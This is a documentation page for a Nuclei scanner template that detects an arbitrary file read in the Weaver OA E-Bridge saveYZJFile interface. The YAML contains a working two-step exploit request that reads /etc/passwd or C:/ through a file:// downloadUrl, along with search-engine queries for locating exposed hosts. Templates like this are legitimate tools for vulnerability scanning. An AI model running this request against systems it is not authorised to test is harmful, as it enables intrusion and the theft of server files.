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Weaver E-Bidge saveYZJFile - Local File Read

ID: weaver-ebridge-lfi

Severity: high

Author: SleepingBag945

Tags: eBridge,weaver,oa,lfi,lfr,intrusive

Description

Section titled “Description”

There is an arbitrary file reading vulnerability in the Weaver OA E-Bridge saveYZJFile interface. An attacker can read any file on the server through the vulnerability.

YAML Source

Section titled “YAML Source”
id: weaver-ebridge-lfi


info:
  name: Weaver E-Bidge saveYZJFile - Local File Read
  author: SleepingBag945
  severity: high
  description: |
    There is an arbitrary file reading vulnerability in the Weaver OA E-Bridge saveYZJFile interface. An attacker can read any file on the server through the vulnerability.
  reference:
    - https://peiqi.wgpsec.org/wiki/oa/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20E-Bridge%20saveYZJFile%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.html
  metadata:
    verified: true
    max-request: 4
    shodan-query: eBridge_JSessionid
    fofa-query: app="泛微云桥e-Bridge"
  tags: eBridge,weaver,oa,lfi,lfr,intrusive


http:
  - raw:
      - |
        GET /wxjsapi/saveYZJFile?fileName=test&downloadUrl={{path}} HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /file/fileNoLogin/{{idname}} HTTP/1.1
        Host: {{Hostname}}


    attack: pitchfork
    payloads:
      path:
        - file:///C:/&fileExt=txt
        - file:///etc/passwd&fileExt=txt


    stop-at-first-match: true
    skip-variables-check: true
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200 && contains_all(body_1,'id', 'filepath') && !contains(tolower(body), 'status\":\"error')"
          - "status_code_2 == 200 && contains(header_2, 'filename=')"
          - "contains(body_2, 'Program Files') || regex('root:.*:0:0:', body)"
        condition: and


    extractors:
      - type: regex
        name: idname
        internal: true
        group: 1
        regex:
          - '"id":"(.*?)"'
# digest: 490a00463044022075ff0bc3f720aca8eba6d1f397c8ed34b590124665c48f9726ce55be5585382d02205b434292d6792583db291683e51cd11492299320e298f52ff9e39452c77511c0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/weaver/weaver-ebridge-lfi.yaml"

View on Github